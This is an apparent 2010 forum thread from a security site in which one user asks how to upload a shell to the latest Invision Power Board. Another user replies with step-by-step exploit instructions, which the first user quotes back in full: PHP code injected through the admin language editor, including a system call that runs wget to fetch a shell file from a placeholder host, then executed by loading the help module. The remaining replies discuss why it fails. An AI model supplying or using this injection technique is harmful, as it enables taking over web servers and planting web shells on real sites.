 |
|
 |
 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 543
 Members: 0
 Total: 543
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
Uploading shell via IPB 3.0 |
|
 Posted: Mon Jun 07, 2010 6:44 pm |
 |
|
| wakenbake |
| Regular user |
 |
|
| Joined: Feb 21, 2010 |
| Posts: 7 |
|
|
|
 |
|
 |
|
Hi!
Anyone knows how to upload shell on newest version of IPB?
Thanks |
|
|
|
|
| Posted: Mon Jun 07, 2010 7:09 pm |
|
|
| vince213333 |
| Advanced user |
 |
|
| Joined: Aug 03, 2009 |
| Posts: 737 |
| Location: Belgium |
|
|
|
|
|
|
| Quote: | Escalation:
Step 1. Go to Admin > Look and Feel > Manage languages
Step 2. Then choose public_help
Step 3. Edit help_txt which originally is "Choose a topic from the list or search..."
Step 4. Add php code like below
${${phpinfo()}}
${${system(wget http://domain.com/shell.txt)}}
Step 5. Save changes
Step 6. Then go to the help module which is located at
http://domain.com/ipb/index.php?app=core&module=help
|
Credits: likely nTha or Zk9 |
|
|
|
|
|
|
|
|
| Posted: Mon Jun 07, 2010 8:09 pm |
|
|
| wakenbake |
| Regular user |
|
|
| Joined: Feb 21, 2010 |
| Posts: 7 |
|
|
|
|
|
|
|
| vince213333 wrote: | | Quote: | Escalation:
Step 1. Go to Admin > Look and Feel > Manage languages
Step 2. Then choose public_help
Step 3. Edit help_txt which originally is "Choose a topic from the list or search..."
Step 4. Add php code like below
${${phpinfo()}}
${${system(wget http://domain.com/shell.txt)}}
Step 5. Save changes
Step 6. Then go to the help module which is located at
http://domain.com/ipb/index.php?app=core&module=help
|
Credits: likely nTha or Zk9 |
This doesnt work... |
|
|
|
|
| Posted: Mon Jun 07, 2010 8:57 pm |
|
|
| vince213333 |
| Advanced user |
|
|
| Joined: Aug 03, 2009 |
| Posts: 737 |
| Location: Belgium |
|
|
|
|
|
|
| You had a look at the phpinfo and disabled functions etc? safe_mode? |
|
|
|
|
| Posted: Sun Jun 20, 2010 2:01 pm |
|
|
| mattoni |
| Active user |
|
|
| Joined: Oct 26, 2008 |
| Posts: 34 |
| Location: United Kingdom |
|
|
|
|
|
|
| I think you must be a super modrateor in the fourm to be albe to hack it |
|
|
|
|
www.waraxe.us Forum Index -> Invision Power Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|
